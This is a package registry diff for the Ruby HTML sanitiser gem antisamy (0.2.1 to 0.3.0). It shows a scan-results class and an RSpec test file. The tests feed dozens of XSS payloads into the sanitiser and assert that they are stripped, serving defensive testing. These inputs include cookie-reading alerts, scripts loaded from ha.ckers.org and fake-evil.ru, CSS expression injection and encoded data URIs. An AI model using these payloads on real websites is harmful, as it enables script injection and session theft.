antisamy 0.2.1 → 0.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- data/CHANGELOG.rdoc +13 -0
- data/LICENSE.txt +20 -20
- data/README.rdoc +41 -41
- data/lib/antisamy.rb +46 -46
- data/lib/antisamy/css/css_filter.rb +187 -187
- data/lib/antisamy/css/css_scanner.rb +84 -84
- data/lib/antisamy/css/css_validator.rb +128 -128
- data/lib/antisamy/csspool/rsac.rb +1 -1
- data/lib/antisamy/csspool/rsac/sac.rb +14 -14
- data/lib/antisamy/csspool/rsac/sac/conditions.rb +5 -5
- data/lib/antisamy/csspool/rsac/sac/conditions/attribute_condition.rb +50 -50
- data/lib/antisamy/csspool/rsac/sac/conditions/begin_hyphen_condition.rb +18 -18
- data/lib/antisamy/csspool/rsac/sac/conditions/class_condition.rb +18 -18
- data/lib/antisamy/csspool/rsac/sac/conditions/combinator_condition.rb +36 -36
- data/lib/antisamy/csspool/rsac/sac/conditions/condition.rb +29 -29
- data/lib/antisamy/csspool/rsac/sac/conditions/id_condition.rb +23 -23
- data/lib/antisamy/csspool/rsac/sac/conditions/one_of_condition.rb +18 -18
- data/lib/antisamy/csspool/rsac/sac/conditions/pseudo_class_condition.rb +20 -20
- data/lib/antisamy/csspool/rsac/sac/document_handler.rb +66 -66
- data/lib/antisamy/csspool/rsac/sac/error_handler.rb +13 -13
- data/lib/antisamy/csspool/rsac/sac/generated_parser.rb +1012 -1012
- data/lib/antisamy/csspool/rsac/sac/generated_property_parser.rb +9284 -9284
- data/lib/antisamy/csspool/rsac/sac/lexeme.rb +27 -27
- data/lib/antisamy/csspool/rsac/sac/lexical_unit.rb +201 -201
- data/lib/antisamy/csspool/rsac/sac/parse_exception.rb +4 -4
- data/lib/antisamy/csspool/rsac/sac/parser.rb +109 -109
- data/lib/antisamy/csspool/rsac/sac/property_parser.rb +44 -44
- data/lib/antisamy/csspool/rsac/sac/selectors.rb +5 -5
- data/lib/antisamy/csspool/rsac/sac/selectors/child_selector.rb +36 -36
- data/lib/antisamy/csspool/rsac/sac/selectors/conditional_selector.rb +45 -45
- data/lib/antisamy/csspool/rsac/sac/selectors/descendant_selector.rb +36 -36
- data/lib/antisamy/csspool/rsac/sac/selectors/element_selector.rb +35 -35
- data/lib/antisamy/csspool/rsac/sac/selectors/selector.rb +25 -25
- data/lib/antisamy/csspool/rsac/sac/selectors/sibling_selector.rb +35 -35
- data/lib/antisamy/csspool/rsac/sac/selectors/simple_selector.rb +21 -21
- data/lib/antisamy/csspool/rsac/sac/token.rb +25 -25
- data/lib/antisamy/csspool/rsac/sac/tokenizer.rb +185 -185
- data/lib/antisamy/csspool/rsac/stylesheet.rb +3 -3
- data/lib/antisamy/csspool/rsac/stylesheet/rule.rb +20 -20
- data/lib/antisamy/csspool/rsac/stylesheet/stylesheet.rb +76 -76
- data/lib/antisamy/html/handler.rb +112 -99
- data/lib/antisamy/html/sax_filter.rb +305 -302
- data/lib/antisamy/html/scanner.rb +47 -43
- data/lib/antisamy/model/attribute.rb +19 -19
- data/lib/antisamy/model/css_property.rb +39 -39
- data/lib/antisamy/model/tag.rb +31 -31
- data/lib/antisamy/policy.rb +577 -545
- data/lib/antisamy/scan_results.rb +89 -89
- data/spec/antisamy_spec.rb +208 -142
- data/spec/spec_helper.rb +12 -12
- metadata +79 -81
@@ -1,89 +1,89 @@
|
|
1
|
-
module AntiSamy
|
2
|
-
class ScanError < StandardError; end
|
3
|
-
# Scan message, it will contain a message key, tag and optionally content, value
|
4
|
-
class ScanMessage
|
5
|
-
# error.tag.notfound
|
6
|
-
ERROR_TAG_NOT_IN_POLICY = "error.tag.notfound"
|
7
|
-
# error.tag.removed
|
8
|
-
ERROR_TAG_DISALLOWED = "error.tag.removed"
|
9
|
-
# error.tag.filtered
|
10
|
-
ERROR_TAG_FILTERED = "error.tag.filtered"
|
11
|
-
# error.tag.encoded
|
12
|
-
ERROR_TAG_ENCODED = "error.tag.encoded"
|
13
|
-
# error.css.tag.malformed
|
14
|
-
ERROR_CSS_TAG_MALFORMED = "error.css.tag.malformed"
|
15
|
-
# error.css.attribute.malformed
|
16
|
-
ERROR_CSS_ATTRIBUTE_MALFORMED = "error.css.attribute.malformed"
|
17
|
-
# error.attribute.invalid.filtered
|
18
|
-
ERROR_ATTRIBUTE_CAUSE_FILTER = "error.attribute.invalid.filtered"
|
19
|
-
# error.attribute.invalid.encoded
|
20
|
-
ERROR_ATTRIBUTE_CAUSE_ENCODE = "error.attribute.invalid.encoded"
|
21
|
-
# error.attribute.invalid.filtered
|
22
|
-
ERROR_ATTRIBUTE_INVALID_FILTERED = "error.attribute.invalid.filtered"
|
23
|
-
# error.attribute.invalid.removed
|
24
|
-
ERROR_ATTRIBUTE_INVALID_REMOVED = "error.attribute.invalid.removed"
|
25
|
-
# error.attribute.notfound
|
26
|
-
ERROR_ATTRIBUTE_NOT_IN_POLICY = "error.attribute.notfound"
|
27
|
-
# error.attribute.invalid
|
28
|
-
ERROR_ATTRIBUTE_INVALID = "error.attribute.invalid"
|
29
|
-
# comment removed
|
30
|
-
ERROR_COMMENT_REMOVED = "error.comment.removed"
|
31
|
-
# tag rule not found
|
32
|
-
ERROR_CSS_TAG_RULE_NOTFOUND = "error.css.tag.notfound"
|
33
|
-
# style sheet nto found
|
34
|
-
ERROR_STYLESHEET_RULE_NOTFOUND = "error.stylesheet.notfound"
|
35
|
-
# embedded stylesheets disabled
|
36
|
-
ERROR_CSS_IMPORT_DISABLED = "error.css.import.disabled"
|
37
|
-
# bad uri
|
38
|
-
ERROR_CSS_IMPORT_URL_INVALID = "error.css.import.uri.invalid"
|
39
|
-
# disallowed selector
|
40
|
-
ERROR_CSS_TAG_SELECTOR_DISALLOWED = "error.css.tag.removed"
|
41
|
-
# invalid for style sheet
|
42
|
-
ERROR_STYLESHEET_SELECTOR_DISALLOWED = "error.style.tag.notallowed"
|
43
|
-
# invlaid css tag property
|
44
|
-
ERROR_CSS_TAG_PROPERTY_INVALID = "error.css.property.invalid"
|
45
|
-
# invid style sheet roperty tag
|
46
|
-
ERROR_STYLESHEET_PROPERTY_INVALID = "error.stylesheet.css.property.invalid"
|
47
|
-
# exceed alloted imports
|
48
|
-
ERROR_CSS_IMPORT_EXCEEDED = "error.import.exceeded.sheets"
|
49
|
-
# exceede size
|
50
|
-
ERROR_CSS_IMPORT_INPUT_SIZE = "error.import.exceeded.size"
|
51
|
-
# Failed to import
|
52
|
-
ERROR_CSS_IMPORT_FAILURE = "error.import.bad.uri"
|
53
|
-
# selector not found
|
54
|
-
ERROR_STYLESHEET_SELECTOR_NOTFOUND = "error.css.stylesheet.selector.notfound"
|
55
|
-
# selector in css not fond
|
56
|
-
ERROR_CSS_TAG_SELECTOR_NOTFOUND = "error.css.tag.selector.notfound"
|
57
|
-
|
58
|
-
attr_reader :tag, :content, :value, :msgkey
|
59
|
-
def initialize(msgkey, tag, content=nil,value=nil)
|
60
|
-
@msgkey = msgkey
|
61
|
-
@tag = tag
|
62
|
-
@content = content
|
63
|
-
@value = value
|
64
|
-
end
|
65
|
-
def to_s
|
66
|
-
"#{self.msgkey} #{@tag} #{@content} #{@value}"
|
67
|
-
end
|
68
|
-
end
|
69
|
-
|
70
|
-
# Container of scan results, provides a list of ScanMessage indicating
|
71
|
-
# why elements were removed from the resulting html
|
72
|
-
class ScanResults
|
73
|
-
attr_reader :scan_start, :scan_end
|
74
|
-
attr_accessor :messages, :clean_html
|
75
|
-
def initialize(scan_start,scan_end = nil)
|
76
|
-
@errors = []
|
77
|
-
@scan_start = scan_start
|
78
|
-
@scan_end = scan_end
|
79
|
-
@clean_html = ''
|
80
|
-
end
|
81
|
-
|
82
|
-
# Get the calculated scan time
|
83
|
-
def scan_time
|
84
|
-
@scan_end ||= Time.now
|
85
|
-
(@scan_end - @scan_start).round(2)
|
86
|
-
end
|
87
|
-
|
88
|
-
end
|
89
|
-
end
|
1
|
+
module AntiSamy
|
2
|
+
class ScanError < StandardError; end
|
3
|
+
# Scan message, it will contain a message key, tag and optionally content, value
|
4
|
+
class ScanMessage
|
5
|
+
# error.tag.notfound
|
6
|
+
ERROR_TAG_NOT_IN_POLICY = "error.tag.notfound"
|
7
|
+
# error.tag.removed
|
8
|
+
ERROR_TAG_DISALLOWED = "error.tag.removed"
|
9
|
+
# error.tag.filtered
|
10
|
+
ERROR_TAG_FILTERED = "error.tag.filtered"
|
11
|
+
# error.tag.encoded
|
12
|
+
ERROR_TAG_ENCODED = "error.tag.encoded"
|
13
|
+
# error.css.tag.malformed
|
14
|
+
ERROR_CSS_TAG_MALFORMED = "error.css.tag.malformed"
|
15
|
+
# error.css.attribute.malformed
|
16
|
+
ERROR_CSS_ATTRIBUTE_MALFORMED = "error.css.attribute.malformed"
|
17
|
+
# error.attribute.invalid.filtered
|
18
|
+
ERROR_ATTRIBUTE_CAUSE_FILTER = "error.attribute.invalid.filtered"
|
19
|
+
# error.attribute.invalid.encoded
|
20
|
+
ERROR_ATTRIBUTE_CAUSE_ENCODE = "error.attribute.invalid.encoded"
|
21
|
+
# error.attribute.invalid.filtered
|
22
|
+
ERROR_ATTRIBUTE_INVALID_FILTERED = "error.attribute.invalid.filtered"
|
23
|
+
# error.attribute.invalid.removed
|
24
|
+
ERROR_ATTRIBUTE_INVALID_REMOVED = "error.attribute.invalid.removed"
|
25
|
+
# error.attribute.notfound
|
26
|
+
ERROR_ATTRIBUTE_NOT_IN_POLICY = "error.attribute.notfound"
|
27
|
+
# error.attribute.invalid
|
28
|
+
ERROR_ATTRIBUTE_INVALID = "error.attribute.invalid"
|
29
|
+
# comment removed
|
30
|
+
ERROR_COMMENT_REMOVED = "error.comment.removed"
|
31
|
+
# tag rule not found
|
32
|
+
ERROR_CSS_TAG_RULE_NOTFOUND = "error.css.tag.notfound"
|
33
|
+
# style sheet nto found
|
34
|
+
ERROR_STYLESHEET_RULE_NOTFOUND = "error.stylesheet.notfound"
|
35
|
+
# embedded stylesheets disabled
|
36
|
+
ERROR_CSS_IMPORT_DISABLED = "error.css.import.disabled"
|
37
|
+
# bad uri
|
38
|
+
ERROR_CSS_IMPORT_URL_INVALID = "error.css.import.uri.invalid"
|
39
|
+
# disallowed selector
|
40
|
+
ERROR_CSS_TAG_SELECTOR_DISALLOWED = "error.css.tag.removed"
|
41
|
+
# invalid for style sheet
|
42
|
+
ERROR_STYLESHEET_SELECTOR_DISALLOWED = "error.style.tag.notallowed"
|
43
|
+
# invlaid css tag property
|
44
|
+
ERROR_CSS_TAG_PROPERTY_INVALID = "error.css.property.invalid"
|
45
|
+
# invid style sheet roperty tag
|
46
|
+
ERROR_STYLESHEET_PROPERTY_INVALID = "error.stylesheet.css.property.invalid"
|
47
|
+
# exceed alloted imports
|
48
|
+
ERROR_CSS_IMPORT_EXCEEDED = "error.import.exceeded.sheets"
|
49
|
+
# exceede size
|
50
|
+
ERROR_CSS_IMPORT_INPUT_SIZE = "error.import.exceeded.size"
|
51
|
+
# Failed to import
|
52
|
+
ERROR_CSS_IMPORT_FAILURE = "error.import.bad.uri"
|
53
|
+
# selector not found
|
54
|
+
ERROR_STYLESHEET_SELECTOR_NOTFOUND = "error.css.stylesheet.selector.notfound"
|
55
|
+
# selector in css not fond
|
56
|
+
ERROR_CSS_TAG_SELECTOR_NOTFOUND = "error.css.tag.selector.notfound"
|
57
|
+
|
58
|
+
attr_reader :tag, :content, :value, :msgkey
|
59
|
+
def initialize(msgkey, tag, content=nil,value=nil)
|
60
|
+
@msgkey = msgkey
|
61
|
+
@tag = tag
|
62
|
+
@content = content
|
63
|
+
@value = value
|
64
|
+
end
|
65
|
+
def to_s
|
66
|
+
"#{self.msgkey} #{@tag} #{@content} #{@value}"
|
67
|
+
end
|
68
|
+
end
|
69
|
+
|
70
|
+
# Container of scan results, provides a list of ScanMessage indicating
|
71
|
+
# why elements were removed from the resulting html
|
72
|
+
class ScanResults
|
73
|
+
attr_reader :scan_start, :scan_end
|
74
|
+
attr_accessor :messages, :clean_html
|
75
|
+
def initialize(scan_start,scan_end = nil)
|
76
|
+
@errors = []
|
77
|
+
@scan_start = scan_start
|
78
|
+
@scan_end = scan_end
|
79
|
+
@clean_html = ''
|
80
|
+
end
|
81
|
+
|
82
|
+
# Get the calculated scan time
|
83
|
+
def scan_time
|
84
|
+
@scan_end ||= Time.now
|
85
|
+
(@scan_end - @scan_start).round(2)
|
86
|
+
end
|
87
|
+
|
88
|
+
end
|
89
|
+
end
|
data/spec/antisamy_spec.rb
CHANGED
@@ -1,142 +1,208 @@
|
|
1
|
-
require File.expand_path(File.dirname(__FILE__) + '/spec_helper')
|
2
|
-
|
3
|
-
module AntiSamy
|
4
|
-
describe AntiSamy do
|
5
|
-
let(:policy_file) {"#{File.join(File.dirname(__FILE__), '..', 'policy-examples')}/antisamy-testing.xml"}
|
6
|
-
let(:strict_policy) {"#{File.join(File.dirname(__FILE__), '..', 'policy-examples')}/antisamy-anythinggoes.xml"}
|
7
|
-
let(:policy_object) {AntiSamy.policy(policy_file)}
|
8
|
-
|
9
|
-
it "should load a policy" do
|
10
|
-
p = AntiSamy.policy(policy_file)
|
11
|
-
p.should_not == nil
|
12
|
-
end
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
|
32
|
-
|
33
|
-
|
34
|
-
|
35
|
-
|
36
|
-
|
37
|
-
|
38
|
-
|
39
|
-
|
40
|
-
|
41
|
-
|
42
|
-
|
43
|
-
|
44
|
-
|
45
|
-
|
46
|
-
|
47
|
-
|
48
|
-
|
49
|
-
|
50
|
-
|
51
|
-
|
52
|
-
|
53
|
-
|
54
|
-
|
55
|
-
|
56
|
-
|
57
|
-
|
58
|
-
|
59
|
-
|
60
|
-
|
61
|
-
|
62
|
-
|
63
|
-
|
64
|
-
|
65
|
-
|
66
|
-
|
67
|
-
|
68
|
-
|
69
|
-
|
70
|
-
|
71
|
-
|
72
|
-
|
73
|
-
|
74
|
-
|
75
|
-
|
76
|
-
|
77
|
-
|
78
|
-
|
79
|
-
|
80
|
-
|
81
|
-
|
82
|
-
"<
|
83
|
-
"<
|
84
|
-
|
85
|
-
|
86
|
-
|
87
|
-
|
88
|
-
|
89
|
-
|
90
|
-
|
91
|
-
|
92
|
-
"<
|
93
|
-
"
|
94
|
-
"<
|
95
|
-
"<
|
96
|
-
|
97
|
-
"<
|
98
|
-
"<
|
99
|
-
"<
|
100
|
-
|
101
|
-
|
102
|
-
|
103
|
-
|
104
|
-
|
105
|
-
|
106
|
-
|
107
|
-
|
108
|
-
|
109
|
-
"<
|
110
|
-
"<
|
111
|
-
"<
|
112
|
-
"<
|
113
|
-
"<
|
114
|
-
"<
|
115
|
-
"
|
116
|
-
"<
|
117
|
-
"<
|
118
|
-
|
119
|
-
|
120
|
-
|
121
|
-
|
122
|
-
|
123
|
-
|
124
|
-
|
125
|
-
|
126
|
-
|
127
|
-
|
128
|
-
|
129
|
-
|
130
|
-
|
131
|
-
|
132
|
-
|
133
|
-
|
134
|
-
|
135
|
-
|
136
|
-
|
137
|
-
|
138
|
-
|
139
|
-
|
140
|
-
|
141
|
-
|
142
|
-
|
1
|
+
require File.expand_path(File.dirname(__FILE__) + '/spec_helper')
|
2
|
+
|
3
|
+
module AntiSamy
|
4
|
+
describe AntiSamy do
|
5
|
+
let(:policy_file) {"#{File.join(File.dirname(__FILE__), '..', 'policy-examples')}/antisamy-testing.xml"}
|
6
|
+
let(:strict_policy) {"#{File.join(File.dirname(__FILE__), '..', 'policy-examples')}/antisamy-anythinggoes.xml"}
|
7
|
+
let(:policy_object) {AntiSamy.policy(policy_file)}
|
8
|
+
|
9
|
+
it "should load a policy" do
|
10
|
+
p = AntiSamy.policy(policy_file)
|
11
|
+
p.should_not == nil
|
12
|
+
end
|
13
|
+
|
14
|
+
it "should handle a missing head tag in a full document" do
|
15
|
+
input =<<-HTML
|
16
|
+
<html>
|
17
|
+
<body>some text</body>
|
18
|
+
</html>
|
19
|
+
HTML
|
20
|
+
p = AntiSamy.policy(policy_file)
|
21
|
+
r = AntiSamy.scan(input,p)
|
22
|
+
r.clean_html.gsub(/\n/,'').should == input.gsub(/\t|\n/,'')
|
23
|
+
end
|
24
|
+
|
25
|
+
it "should handle a document and keep the html tag" do
|
26
|
+
input =<<-HTML
|
27
|
+
<html>
|
28
|
+
<head><title>sup</title></head>
|
29
|
+
<body>some text</body>
|
30
|
+
</html>
|
31
|
+
HTML
|
32
|
+
p = AntiSamy.policy(policy_file)
|
33
|
+
r = AntiSamy.scan(input,p)
|
34
|
+
r.clean_html.gsub(/\n/,'').should == input.gsub(/\t|\n/,'')
|
35
|
+
end
|
36
|
+
|
37
|
+
it "should allow empty tags" do
|
38
|
+
input =<<-HTML
|
39
|
+
<html>
|
40
|
+
<head><title>sup</title></head>
|
41
|
+
<body>some text<br><div></div></body>
|
42
|
+
</html>
|
43
|
+
HTML
|
44
|
+
p = AntiSamy.policy(policy_file)
|
45
|
+
r = AntiSamy.scan(input,p)
|
46
|
+
r.clean_html.gsub(/\n/,'').should == input.gsub(/\t|\n/,'')
|
47
|
+
end
|
48
|
+
|
49
|
+
it "shoulw remove an empty tag as per the poilicy" do
|
50
|
+
input =<<-HTML
|
51
|
+
<html>
|
52
|
+
<head><title>sup</title></head>
|
53
|
+
<body>some text<br><h2/></body>
|
54
|
+
</html>
|
55
|
+
HTML
|
56
|
+
expect =<<-HTML
|
57
|
+
<html>
|
58
|
+
<head><title>sup</title></head>
|
59
|
+
<body>some text<br></body>
|
60
|
+
</html>
|
61
|
+
HTML
|
62
|
+
p = AntiSamy.policy(policy_file)
|
63
|
+
r = AntiSamy.scan(input,p)
|
64
|
+
r.clean_html.gsub(/\n/,'').should == expect.gsub(/\t|\n/,'')
|
65
|
+
end
|
66
|
+
|
67
|
+
it "should wrap plain text" do
|
68
|
+
input = "Hi"
|
69
|
+
p = AntiSamy.policy(policy_file)
|
70
|
+
r = AntiSamy.scan(input,p)
|
71
|
+
r.clean_html.should == "<p>#{input}</p>"
|
72
|
+
end
|
73
|
+
|
74
|
+
it "should scan our sample html and change nothing" do
|
75
|
+
input = "<p>Hi</p>"
|
76
|
+
p = AntiSamy.policy(policy_file)
|
77
|
+
r = AntiSamy.scan(input,p)
|
78
|
+
r.clean_html.should == input
|
79
|
+
end
|
80
|
+
|
81
|
+
it "should tak our input and remove the script tags" do
|
82
|
+
input = "<p style='font-size: 16px'>Hi</p><script> some junk</script>"
|
83
|
+
expec = "<p>Hi</p>"
|
84
|
+
p = AntiSamy.policy(policy_file)
|
85
|
+
r = AntiSamy.scan(input,p)
|
86
|
+
r.clean_html.should == expec
|
87
|
+
r.messages.size.should == 2 # error 1 for script tag, error 2 for style tag
|
88
|
+
end
|
89
|
+
|
90
|
+
# Script attacks
|
91
|
+
{
|
92
|
+
"test<script>alert(document.cookie)</script>" => "script",
|
93
|
+
"<<<><<script src=http://fake-evil.ru/test.js>" => "<script",
|
94
|
+
"<script<script src=http://fake-evil.ru/test.js>>" => "<script",
|
95
|
+
"<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" => "<script",
|
96
|
+
'<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>' => "onload",
|
97
|
+
"<BODY ONLOAD=alert('XSS')>" => "alert",
|
98
|
+
"<iframe src=http://ha.ckers.org/scriptlet.html <" => "<iframe",
|
99
|
+
"<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">" => "src"
|
100
|
+
}.each_pair do |k,v|
|
101
|
+
it "should remove #{v} from #{k} for script attacks" do
|
102
|
+
r = AntiSamy.scan(k,policy_object)
|
103
|
+
r.clean_html.should_not include(v)
|
104
|
+
end
|
105
|
+
end
|
106
|
+
|
107
|
+
#Image Attacks
|
108
|
+
{
|
109
|
+
"<img src='http://www.myspace.com/img.gif'>"=>"<img",
|
110
|
+
"<img src=javascript:alert(document.cookie)>"=>"<img",
|
111
|
+
"<IMG SRC=javascript:alert('XSS')>"=>"<img",
|
112
|
+
"<IMG SRC=javascript:alert('XSS')>" => "&",
|
113
|
+
"<IMG SRC=javascript:alert('XSS')>"=>"&",
|
114
|
+
"<IMG SRC=\"jav
ascript:alert('XSS');\">" => "alert",
|
115
|
+
"<IMG SRC=\"javascript:alert('XSS')\"" => "javascript",
|
116
|
+
"<IMG LOWSRC=\"javascript:alert('XSS')\">"=>"javascript",
|
117
|
+
"<BGSOUND SRC=\"javascript:alert('XSS');\">"=>"javascript",
|
118
|
+
}.each_pair do |k,v|
|
119
|
+
it "should remove #{v} from #{k} for image attacks" do
|
120
|
+
r = AntiSamy.scan(k,policy_object)
|
121
|
+
r.clean_html.should_not include(v)
|
122
|
+
end
|
123
|
+
end
|
124
|
+
|
125
|
+
# Css attacks
|
126
|
+
{
|
127
|
+
"<div style=\"position:absolute\">" => "position",
|
128
|
+
"<style>b { position:absolute }</style>" => "position",
|
129
|
+
"<div style=\"z-index:25\">" => "z-index",
|
130
|
+
"<style>z-index:25</style>" => "z-index",
|
131
|
+
"<div style=\"font-family: Geneva, Arial, courier new, sans-serif\">" => "font-family"
|
132
|
+
}.each_pair do |k,v|
|
133
|
+
it "should remove #{v} from #{k} for CSS attacks" do
|
134
|
+
r = AntiSamy.scan(k,policy_object)
|
135
|
+
r.clean_html.should_not include(v)
|
136
|
+
end
|
137
|
+
end
|
138
|
+
|
139
|
+
#href attacks
|
140
|
+
{
|
141
|
+
"<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">" => "href",
|
142
|
+
"<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">" => "href",
|
143
|
+
"<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>" => "ha.ckers",
|
144
|
+
"<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>" => "ha.ckers",
|
145
|
+
"<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>" => "xss",
|
146
|
+
"<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS" => "javascript",
|
147
|
+
"<IMG SRC='vbscript:msgbox(\"XSS\")'>" => "vbscript",
|
148
|
+
"<a . href=\"http://www.test.com\">" => " . ",
|
149
|
+
"<a - href=\"http://www.test.com\">" => "-",
|
150
|
+
"<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">" => "meta",
|
151
|
+
"<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">" => "meta",
|
152
|
+
"<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">" => "meta",
|
153
|
+
"<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>" => "iframe",
|
154
|
+
"<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>" => "javascript",
|
155
|
+
"<TABLE BACKGROUND=\"javascript:alert('XSS')\">" => "background",
|
156
|
+
"<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">" => "background",
|
157
|
+
"<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">" => "javascript",
|
158
|
+
"<DIV STYLE=\"width: expression(alert('XSS'));\">" => "alert",
|
159
|
+
"<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">" => "alert",
|
160
|
+
"<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>" => "alert",
|
161
|
+
"<BASE HREF=\"javascript:alert('XSS');//\">" => "javascript",
|
162
|
+
"<BaSe hReF=\"http://arbitrary.com/\">" => "base",
|
163
|
+
"<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>" => "object",
|
164
|
+
"<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>" => "object",
|
165
|
+
"<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>" => "embed",
|
166
|
+
"<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>" => "embed",
|
167
|
+
"<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" => "script",
|
168
|
+
"<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" => "script",
|
169
|
+
"<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" => "script",
|
170
|
+
"<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" => "script",
|
171
|
+
"<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" => "script",
|
172
|
+
"<SCRIPT SRC=http://ha.ckers.org/xss.js" => "script",
|
173
|
+
"<div/style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)&>" => "style",
|
174
|
+
"<a href='aim: &c:\\windows\\system32\\calc.exe' ini='C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\pwnd.bat'>" => "calc.exe",
|
175
|
+
"<!--\n<A href=\n- --><a href=javascript:alert:document.domain>test-->" => "javascript",
|
176
|
+
"<a></a style=\"\"xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')\">" => "<a style=",
|
177
|
+
"<a onblur=\"alert(secret)\" href=\"http://www.google.com\">Google</a>" => "blur",
|
178
|
+
"<b><i>Some Text</b></i>" => "<i />",
|
179
|
+
"<div style=\"font-family: Geneva, Arial, courier new, sans-serif\">" => "font-family",
|
180
|
+
"<style type=\"text/css\"><![CDATA[P { margin-bottom: 0.08in; } ]]></style>" => "margin"
|
181
|
+
|
182
|
+
}.each_pair do |k,v|
|
183
|
+
it "should remove #{v} from #{k} for href attacks" do
|
184
|
+
r = AntiSamy.scan(k,policy_object)
|
185
|
+
r.clean_html.should_not include(v)
|
186
|
+
end
|
187
|
+
end
|
188
|
+
|
189
|
+
it "shoud import some stylesheets" do
|
190
|
+
input = "<style>@import url(http://www.owasp.org/skins/monobook/main.css);@import url(http://www.w3schools.com/stdtheme.css);@import url(http://www.google.com/ig/f/t1wcX5O39cc/ig.css); </style>"
|
191
|
+
r = AntiSamy.scan(input,policy_object)
|
192
|
+
r.clean_html.should_not be_empty
|
193
|
+
end
|
194
|
+
|
195
|
+
it "should not touch this url" do
|
196
|
+
input = "<a href=\"http://www.aspectsecurity.com\">Aspect Security</a>"
|
197
|
+
r = AntiSamy.scan(input,policy_object)
|
198
|
+
r.clean_html.should == input
|
199
|
+
end
|
200
|
+
|
201
|
+
it "should accept css3" do
|
202
|
+
input = "<style> div{transform:rotate(30deg);} </style>"
|
203
|
+
r = AntiSamy.scan(input,policy_object)
|
204
|
+
r.clean_html.should == input
|
205
|
+
end
|
206
|
+
|
207
|
+
end
|
208
|
+
end
|